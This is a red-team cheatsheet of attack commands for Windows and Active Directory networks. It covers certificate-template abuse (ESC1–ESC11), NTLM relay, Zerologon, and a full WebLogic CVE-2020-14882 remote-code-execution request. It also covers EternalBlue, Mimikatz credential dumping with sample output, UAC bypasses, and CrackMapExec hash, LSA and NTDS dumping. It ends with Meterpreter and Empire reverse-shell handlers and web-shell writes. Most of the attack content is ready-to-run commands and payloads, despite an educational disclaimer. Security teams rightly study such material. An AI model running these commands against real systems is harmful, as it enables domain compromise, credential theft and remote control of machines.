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A Red-Teamer diaries

Publicly accessible notes about my pentesting/red teaming experiments tested on several controlled environments/infrastructures that involve playing with various tools and techniques used by penetration testers and redteamers during a security assessment.

  • Project in progress

Contribute

We welcome contributions as github pull requests.
Kudos and thanks for the people who did the hard stuff

Goals

  • Pentest/red team cheatsheet that collects snippets of codes and commands to help pentester during an engagement(saving time/fast search for a specific command).
  • Understand how the attacks can be performed
  • take notes for future reference

Disclaimer

For educational purposes only, use it at your own responsibility.

Intrusion Kill Chain

KillChain

Mapping the Network

RunFinger.py

Gather information about the Domain name and windows machine running in the network

bash$ cd /usr/share/Responder/tools
bash$ sudo python RunFinger.py -i 192.168.1.1/24

or

bash$ responder-RunFinger

Nbtscan

Scanning IP networks for NetBIOS name information.

bash$ sudo nbtscan -v -s : 192.168.1.0/24

Crackmapexec v 4.0

Scan the network range based on the SMB information

bash$ cme smb 192.168.1.1/24

Nmap scan

Scan all the machine network and save the outputs .

  • -oA options : Means output with all format
  • -T4 : Fast scan

Fast Scan

bash$ nmap -p 1-65535 -sV -sS -T4 -oA output target_IP

Intensive Scan (Note recommended):

bash$ nmap -p 1-65535 -Pn -A -oA output target_IP

Scan with enumeration of the running services version :

  • -sC : default scripts Equivalent to --script=default
  • -sV : Get the service version
bash$ nmap -sC -sV -oA output target

Angry IP scanner

Download the tool from this link : Angry IP Scanner

  • Change the preferences settings

Go to : Preferences -> Ports -> add 80,445,554,21 ,22 in the port selection
Go to : Preferences -> Display -> select Alive Hosts
Go to : Preferences -> Pinging -> select Combained (UDP/TCP)

Lateral Movement and Exploitation

Active Directory Certificate Services

This part was copied from https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#esc1---misconfigured-certificate-templates
For more details check : https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation

(Tested on private environment (Bloodhound then ESC1 exploit)

  • Find ADCS Server
    • crackmapexec ldap domain.lab -u username -p password -M adcs
    • ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName
  • Enumerate AD Enterprise CAs with certutil: certutil.exe -config - -ping, certutil -dump

ESC1 - Misconfigured Certificate Templates

Domain Users can enroll in the VulnTemplate template, which can be used for client authentication and has ENROLLEE_SUPPLIES_SUBJECT set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.

Requirements:

  • Template that allows for AD authentication
  • ENROLLEE_SUPPLIES_SUBJECT flag
  • [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)

Exploitation:

  • Use Certify.exe to see if there are any vulnerable templates 
    Certify.exe find /vulnerable
Certify.exe find /vulnerable /currentuser
# or
PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
# or
certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
  • Use Certify, Certi or Certipy to request a Certificate and add an alternative name (user to impersonate) 
    # request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local'
  • Use OpenSSL and convert the certificate, do not enter a password 
    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
  • Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus 
    Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx

WARNING: These certificates will still be usable even if the user or computer resets their password!

NOTE: Look for EDITF_ATTRIBUTESUBJECTALTNAME2, CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, ManageCA flags, and NTLM Relay to AD CS HTTP Endpoints.

ESC2 - Misconfigured Certificate Templates

Requirements:

  • Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)

Exploitation:

  • Find template 
    PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
  • Request a certificate specifying the /altname as a domain admin like in ESC1.

ESC3 - Misconfigured Enrollment Agent Templates

ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users

  • Request a certificate based on the vulnerable certificate template ESC3. 
    $ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC3'
[*] Saved certificate and private key to 'john.pfx'
  • Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user 
    $ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

ESC4 - Access Control Vulnerabilities

Enabling the mspki-certificate-name-flag flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability

  • Search for WriteProperty with value 00000000-0000-0000-0000-000000000000 using modifyCertTemplate 
    python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
  • Add the ENROLLEE_SUPPLIES_SUBJECT (ESS) flag to perform ESC1 
    python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag

# Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template. 
C:\>StandIn.exe --adcs --filter WebServer --ess --add
  • Perform ESC1 and then restore the value 
    python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag

Using Certipy

# overwrite the configuration to make it vulnerable to ESC1
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old
# request a certificate based on the ESC4 template, just like ESC1.
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC4' -alt 'administrator@corp.local'
# restore the old configuration
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json

ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2

If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.

Exploitation:

  • Use Certify.exe to check for UserSpecifiedSAN flag state which refers to the EDITF_ATTRIBUTESUBJECTALTNAME2 flag. 
    Certify.exe cas
  • Request a certificate for a template and add an altname, even though the default User template doesn't normally allow to specify alternative names 
    .\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin

Mitigation:

  • Remove the flag : certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2

ESC7 - Vulnerable Certificate Authority Access Control

Exploitation:

  • Detect CAs that allow low privileged users the ManageCA or Manage Certificates permissions 
    Certify.exe find /vulnerable
  • Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6) 
    Certify.exe setconfig /enablesan /restart
  • Request the certificate with the desired SAN. 
    Certify.exe request /template:User /altname:super.adm
  • Grant approval if required or disable the approval requirement 
    # Grant
Certify.exe issue /id:[REQUEST ID]
# Disable
Certify.exe setconfig /removeapproval /restart

Alternative exploitation from ManageCA to RCE on ADCS server:

# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly

# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx

# Write the default asp shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp

# Write a php shell to a remote web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php

ESC8 - AD CS Relay Attack

An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.

Require Impacket PR #1101

  • Version 1: NTLM Relay + Rubeus + PetitPotam

    impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs
impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate
# For a member server or workstation, the template would be "Computer".
# Other templates: workstation, DomainController, Machine, KerberosAuthentication

# Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam 
# You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN
git clone https://github.com/topotam/PetitPotam
python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
python3 dementor.py <listener> <target> -u <username> -p <password> -d <domain>
python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local

# Use the certificate with rubeus to request a TGT
Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt

# Now you can use the TGT to perform a DCSync
mimikatz> lsadump::dcsync /user:krbtgt

  • Version 2: NTLM Relay + Mimikatz + Kekeo

    impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Mimikatz
mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth

# Kekeo
kekeo> base64 /input:on
kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /ptt

# Mimikatz
mimikatz> lsadump::dcsync /user:krbtgt

  • Version 3: Kerberos Relay

    # Setup the relay
sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine

# Run mitm6
sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v

  • Version 4: ADCSPwn - Require WebClient service running on the domain controller. By default this service is not installed.

    https://github.com/bats3c/ADCSPwn
adcspwn.exe --adcs <cs server> --port [local port] --remote [computer]
adcspwn.exe --adcs cs.pwnlab.local
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local

# ADCSPwn arguments
adcs            -       This is the address of the AD CS server which authentication will be relayed to.
secure          -       Use HTTPS with the certificate service.
port            -       The port ADCSPwn will listen on.
remote          -       Remote machine to trigger authentication from.
username        -       Username for non-domain context.
password        -       Password for non-domain context.
dc              -       Domain controller to query for Certificate Templates (LDAP).
unc             -       Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .
output          -       Output path to store base64 generated crt.

  • Version 5: Certipy ESC8

    certipy relay -ca 172.16.19.100

ESC9 - No Security Extension

Requirements:

  • StrongCertificateBindingEnforcement set to 1 (default) or 0
  • Certificate contains the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value
  • Certificate specifies Any Client authentication EKU
  • GenericWrite over any account A to compromise any account B

Scenario

John@corp.local has GenericWrite over Jane@corp.local, and we want to compromise Administrator@corp.local. Jane@corp.local is allowed to enroll in the certificate template ESC9 that specifies the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value.

  • Obtain the hash of Jane with Shadow Credentials (using our GenericWrite) 
    certipy shadow auto -username John@corp.local -p Passw0rd -account Jane
  • Change the userPrincipalName of Jane to be Administrator. ⚠️ leave the @corp.local part 
    certipy account update -username John@corp.local -password Passw0rd -user Jane -upn Administrator
  • Request the vulnerable certificate template ESC9 from Jane's account. 
    certipy req -username jane@corp.local -hashes ... -ca corp-DC-CA -template ESC9
# userPrincipalName in the certificate is Administrator 
# the issued certificate contains no "object SID"
  • Restore userPrincipalName of Jane to Jane@corp.local. 
    certipy account update -username John@corp.local -password Passw0rd -user Jane@corp.local
  • Authenticate with the certificate and receive the NT hash of the Administrator@corp.local user. 
    certipy auth -pfx administrator.pfx -domain corp.local
# Add -domain <domain> to your command line since there is no domain specified in the certificate.

ESC11 - Relaying NTLM to ICPR

Encryption is not enforced for ICPR requests and Request Disposition is set to Issue

Requirements:

Exploitation:

  1. Look for Enforce Encryption for Requests: Disabled in certipy find -u user@dc1.lab.local -p 'REDACTED' -dc-ip 10.10.10.10 -stdout output
  2. Setup a relay using Impacket ntlmrelay and trigger a connection to it. 
    ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support

PRE-CREATED COMPUTER ACCOUNTS

FINDING PRE-CREATED COMPUTER ACCOUNTS

For instance, the computer account DavesLaptop$ would have the password daveslaptop

  • Note that when dealing with computer accounts, it is smart to escape the $ with a \.
impacket-smbclient <domain>/<computer account>\$:<password>@<IP>

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] SMB SessionError: STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT(The account used is a computer account. Use your global user account or local user account to access this server.)

Notice we have STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT

Change The Password

We can use either of these:

python3 rpcchangepwd.py <domain>/<computer account>\$:<password>@<IP> -newpass P@ssw0rd                           31s
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Password was changed successfully.

Connect to SMB with the new creds

impacket-smbclient <domain>/<computer account>\$:<new set password>@<IP>
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Type help for list of commands
#

- Reference : https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/

Exploiting CVE-2021-42278 and CVE-2021-42287

Download the epxloit script https://github.com/WazeHell/sam-the-admin

bash$ python3 sam_the_admin.py "<domain_name>/<username>:<password>" -dc-ip <DC_IP>

If the AD is vulnerable we will have the following output: AD exploit

Scanning for Zerologon

SecuraBV zerologon scanner https://github.com/SecuraBV/CVE-2020-1472
We can use crackmapexec to extract the DC name

bash$ python3 zerologon_tester.py EXAMPLE-DC 1.2.3.4

If the target is vulnerable the scanner showing the following output: zerologon scanner

Exploiting zerologon

dump NTLM

Getting an RCE through pass-the-hash RCE

The provided screenshots are related to a personnel lab used for the POC test only, be careful when running the exploit on DC in PROD(during an engagement)

BIGIP F5 CVE-2020-5902

Check if the target is vulnerable

curl -sk 'https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

We can scan the target using Nuclei or Nmap too

nuclei -t ~/tool/nuclei/nuclei-templates/cves/CVE-2020-5902.yaml -target https://<IP>

If multiple hosts are specified use -l argument -> -l bigip-assets.txt

  • Nmap
wget https://raw.githubusercontent.com/RootUp/PersonalStuff/master/http-vuln-cve2020-5902.nse
nmap -p443 {IP} --script=http-vuln-cve2020-5902.nse

BIGIP RCE

we can use Metasploit Module https://github.com/rapid7/metasploit-framework/pull/13807/commits/0417e88ff24bf05b8874c953bd91600f10186ba4

Scanning Weblogic CVE-2020-14882

Nuclei Module

nuclei -t nuclei-templates/cves/CVE-2020-14882.yaml -target http://<IP>

This module sometimes fails, use -proxy-url http://127.0.0.1:8080 to redirect traffic into Burpsuite and investigate.

Exploiting Weblogic CVE-2020-14882 - RCE

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 172.16.242.134:7001
cmd: chcp 65001&&whoami&&ipconfig
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1258

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
    weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
    res.getWriter().write("");
}executeThread.interrupt();
");
  • Change cmd in the request header with any system command(Win/Linux)
  • Payload could be turned into a curl command.

Scanning for EternalBlue ms17-010

bash$ nmap -p445 --script smb-vuln-ms17-010 <target>/24

If the target is vulnrable the output is as following

Script Output
Host script results:

| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Exploiting Eternal Blue - Metasploit Module (Windows 7 x64 only )

  • Note :
    The default Module supported by Metasploit is exploiting only windows 7 x64 bit Otherwise the target will be crashed .
msf > use exploit/windows/smb/ms17_010_eternalblue
      msf exploit(ms17_010_eternalblue) > show targets
            ...targets...
      msf exploit(ms17_010_eternalblue) > set TARGET <target-id>
      msf exploit(ms17_010_eternalblue) > show options
            ...show and set options...
      msf exploit(ms17_010_eternalblue) > exploit

Mimikatz - Metasploit

After obtaining a meterpreter shell, we need to ensure that our session is running with SYSTEM level privileges for Mimikatz to function properly.

meterpreter > getuid
Server username: WINXP-E95CE571A1\Administrator

meterpreter > getsystem
...got system (via technique 1).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Reading Hashes and Passwords from Memory

meterpreter > load mimikatz
Loading extension mimikatz...success.

meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============

AuthID   Package    Domain           User              Password
------   -------    ------           ----              --------
0;78980  NTLM       WINXP-E95CE571A1  Administrator     lm{ 00000000000000000000000000000000 }, ntlm{ d6eec67681a3be111b5605849505628f }
0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE   lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }
0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE     n.s. (Credentials KO)
0;56683  NTLM                                          n.s. (Credentials KO)
0;999    NTLM       WORKGROUP        WINXP-E95CE571A1$  n.s. (Credentials KO)

meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================

AuthID   Package    Domain           User              Password
------   -------    ------           ----              --------
0;999    NTLM       WORKGROUP        WINXP-E95CE571A1$  
0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE     
0;56683  NTLM                                          
0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE   
0;78980  NTLM       WINXP-E95CE571A1  Administrator     SuperSecretPassword


meterpreter > mimikatz_command -f sekurlsa::searchPasswords
[0] { Administrator ; WINXP-E95CE571A1 ; SuperSecretPassword }

meterpreter > mimikatz_command -f sekurlsa::logonpasswords

Mimikatz on Linux

In case no VM is available

step 1

winetricks msasn1

step 2

╰─>$ wine /usr/share/windows-resources/mimikatz/Win32/mimikatz.exe
0009:err:winediag:SECUR32_initNTLMSP ntlm_auth was not found or is outdated. Make sure that ntlm_auth >= 3.0.25 is in your path. Usually, you can find it in the winbind package of your distribution.

  .#####.   mimikatz 2.2.0 (x86) #18362 May 13 2019 01:34:39
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz #

Privilege Escalation of Windows

JuicyPotato

JuicyPotato.exe -l <PORT> -p c:\windows\system32\cmd.exe -t *

Migrate Process

msf > ps
msf exploit(bypassuac) > migrate <pid>

Windows Escalate UAC Protection Bypass

msf > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > set session 1
msf exploit(bypassuac) > exploit

Windows Escalate UAC Protection Bypass (In Memory Injection)

msf > use exploit/windows/local/bypassuac_injection
msf exploit(bypassuac_injection) > set session 1
msf exploit(bypassuac_injection) > exploit

Windows Escalate UAC Protection Bypass (Script Host Vulnerability)

msf > use windows/local/bypassuac_vbs
msf exploit(bypassuac_vbs) > set session 1
msf exploit(bypassuac_vbs) > exploit

Windows Escalate UAC Execute RunAs

msf > use windows/local/ask
msf exploit(ask) > set session 1
msf exploit(ask) > exploit

MS16-032 Secondary Logon Handle Privilege Escalation Windows 7 32 bit

msf > use windows/local/ms16_032_secondary_logon_handle_privesc
msf exploit(ms16_032_secondary_logon_handle_privesc) > set session 1
msf exploit(ms16_032_secondary_logon_handle_privesc) > exploit

Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)

msf exploit(ms13_053_schlamperei) >set session 1
msf exploit(ms13_053_schlamperei) >exploit

Crackmapexec V4.0

Enemurate target

bash$ cme smb <target>

Access to machine by valid username/password

bash$ cme smb <target> -u username -p password

Access to machine using the NTLM hash (if u see PWN3D the user hash administrator priveleges )

bash$ cme smb <target> -u username -H hash

Listing shares

bash$ cme smb <target> -u username -p password --shares

Enumerate active sessions

bash$ cme smb <target> -u username -p password --sessions

Enumerate users by bruteforcing RID's (default: 4000)

bash$ cme smb <target> -u username -p password --rid-brute

Execute the specified command

bash$ cme smb <target> -u username -p password -x 'whoami'

Execute the specified PowerShell command

bash$ cme smb <target> -u username -p password -X 'whoami'

Get Hashes

bash$ cme smb <target> -u username -p password --sam

CrackMapExec Cheat Sheet

Initial Enumeration

crackmapexec smb <ip>

Testing null/guest authentication and listing shares

crackmapexec smb targets.txt -u '' -p '' --shares
crackmapexec smb targets.txt -u 'Guest' -p '' --shares

Enumerate users using ldap

crackmapexec ldap <domain> -u '' -p '' --users
crackmapexec ldap <domain> -u users.txt -p "" -k

Asreproast

crackmapexec ldap <domain> -u <username> -p "" --asreproast asrep.txt

Bloodhound

crackmapexec ldap <domain> -u <username> -p <password> --bloodhound -ns <ip> --collection All

Group Policy Preferences

crackmapexec smb <domain> -u <username> -p <password> -M gpp_password

Creds Spray

crackmapexec smb targets.txt -u <username> -p <password>

Password Spray

crackmapexec ldap <domain> -u users.txt -p <password> --continue-on-success
crackmapexec ldap <domain> -u users.txt -p <password> --no-bruteforce --continue-on-success

STATUS_NOT_SUPPORTED: NTLM protocol not supported

In this case we can use the -k option which will use Kerberos protocol to authenticate.

crackmapexec smb targets.txt -u <username> -p <password> -k

List shares

crackmapexec smb targets.txt -u <username> -p <password> -k --shares

Spider_plus Module

The module spider_plus allows you to list and dump all files from all readable shares

List all readable files

crackmapexec smb <domain> -u <username> -p <password> -k -M spider_plus

Dump all files

crackmapexec smb <domain> -u <username> -p <password> -M spider_plus -o READ_ONLY=false

Dump a specific file

crackmapexec smb <domain> -u <username> -p <password> -k --get-file <target_file> <output_file> --share <sharename>

MSSQL

Test authentication

crackmapexec mssql targets.txt -u <username> -p <password>

Execute commands using xp_cmdshell

  • -X for powershell and -x for cmd
crackmapexec mssql <domain> -u <username> -p <password> -X <command_to_execute>

Get a file

crackmapexec mssql <domain> -u <username> -p <password> --get-file <output_file> <target_file>

Local Administrator authentication

crackmapexec smb <domain> -u <username> -p <password> --local-auth

Dump the LSA secrets

crackmapexec smb <domain> -u <username> -p <password> --local-auth --lsa

Recover the name of the gmsa account

crackmapexec ldap <domain> -u <username> -p <password> --gmsa-convert-id <id>
  • Decrypt the gmsa account in lsa with --gmsa-decrypt-lsa:
crackmapexec ldap <domain> -u <username> -p <password> --gmsa-decrypt-lsa <gmsa_account>

Dump LAPS password

crackmapexec smb targets.txt -u <username> -p <password> --laps

Dump the credentials of the dpapi

crackmapexec smb targets.txt -u <username> -p <password> --laps --dpapi

Dump NTDS.dit

crackmapexec smb <domain> -u <username> -p <password> --ntds

References

Crackmapexec to Empire agent

First setup an Empire listener:

(Empire: listeners) > set Name test
(Empire: listeners) > set Host 192.168.10.3
(Empire: listeners) > set Port 9090
(Empire: listeners) > set CertPath data/empire.pem
(Empire: listeners) > run
(Empire: listeners) > list

[*] Active listeners:

  ID    Name              Host                                 Type      Delay/Jitter   KillDate    Redirect Target
  --    ----              ----                                 -------   ------------   --------    ---------------
  1     test              http://192.168.10.3:9090                 native    5/0.0                      

(Empire: listeners) >

Start up Empire's RESTful API server:

#~ python empire --rest --user empireadmin --pass Password123!

[*] Loading modules from: /home/byt3bl33d3r/Tools/Empire/lib/modules/
 * Starting Empire RESTful API on port: 1337
 * RESTful API token: l5l051eqiqe70c75dis68qjheg7b19di7n8auzml
 * Running on https://0.0.0.0:1337/ (Press CTRL+C to quit)

The username and password that CME uses to authenticate to Empire's RESTful API are stored in the cme.conf file located at ~/.cme/cme.conf:

[Empire]
api_host=127.0.0.1
api_port=1337
username=empireadmin
password=Password123!

[Metasploit]
rpc_host=127.0.0.1
rpc_port=55552
password=abc123

Then just run the empire_exec module and specify the listener name:

#~ crackmapexec 192.168.10.0/24 -u username -p password -M empire_exec -o LISTENER=test

Crackmapexec to Meterpreter

We can use the metinject module to directly inject meterpreter into memory using PowerSploit's Invoke-Shellcode.ps1 script.

First setup your handler:

msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST 192.168.10.3
LHOST => 192.168.10.3
msf exploit(handler) > set exitonsession false
exitonsession => false
msf exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started HTTPS reverse handler on https://192.168.10.3:8443
msf exploit(handler) > [*] Starting the payload handler...

Then just run the metinject module and specify the LHOST and LPORT values:

#~ crackmapexec 192.168.10.0/24 -u username -p password -M metinject -o LHOST=192.168.1

Passing shell from Empire to Meterpreter metasploit

metasploit listner options

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf exploit(handler) > set lhost 192.168.1.110
lhost => 192.168.1.110
msf exploit(handler) > set lport 2286
lport => 2286
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > set SessionCommunicationTimeout 0
SessionCommunicationTimeout => 0
msf exploit(handler) > exploit -j

Setup Empire to send the agent to Metasploit

use module code_execution/shellcode_inject
set Host <ip>
set Port <port>
execute

DeathStar

# Start the Empire console and RESTful API
python empire --rest --username empireadmin --password Password123

Then grab, setup and run DeathStar:

git clone https://github.com/byt3bl33d3r/DeathStar
# Death Star is written in Python3
pip3 install -r requirements.txt
./DeathStar.py

Windows cmd.exe commands

Add user

net user /add [username] [password]

Add User as an admin

net localgroup administrators [username] /add

Add user to RDP group

NET LOCALGROUP "Remote Desktop Users" keyoke /ADD

PTH_winexe : open shell without psexec

Example :

pth-winexe -U DOMAIN/USERNAME%cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb //IP_Server cmd.exe

Real Example :

pth-winexe -U LAB/Administrator%cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb //192.168.1.44 cmd.exe

PTH-winexe to Meterpreter

msf exploit(web_delivery) > use exploit/multi/script/web_delivery 
msf exploit(web_delivery) > set target 2
target => 2         
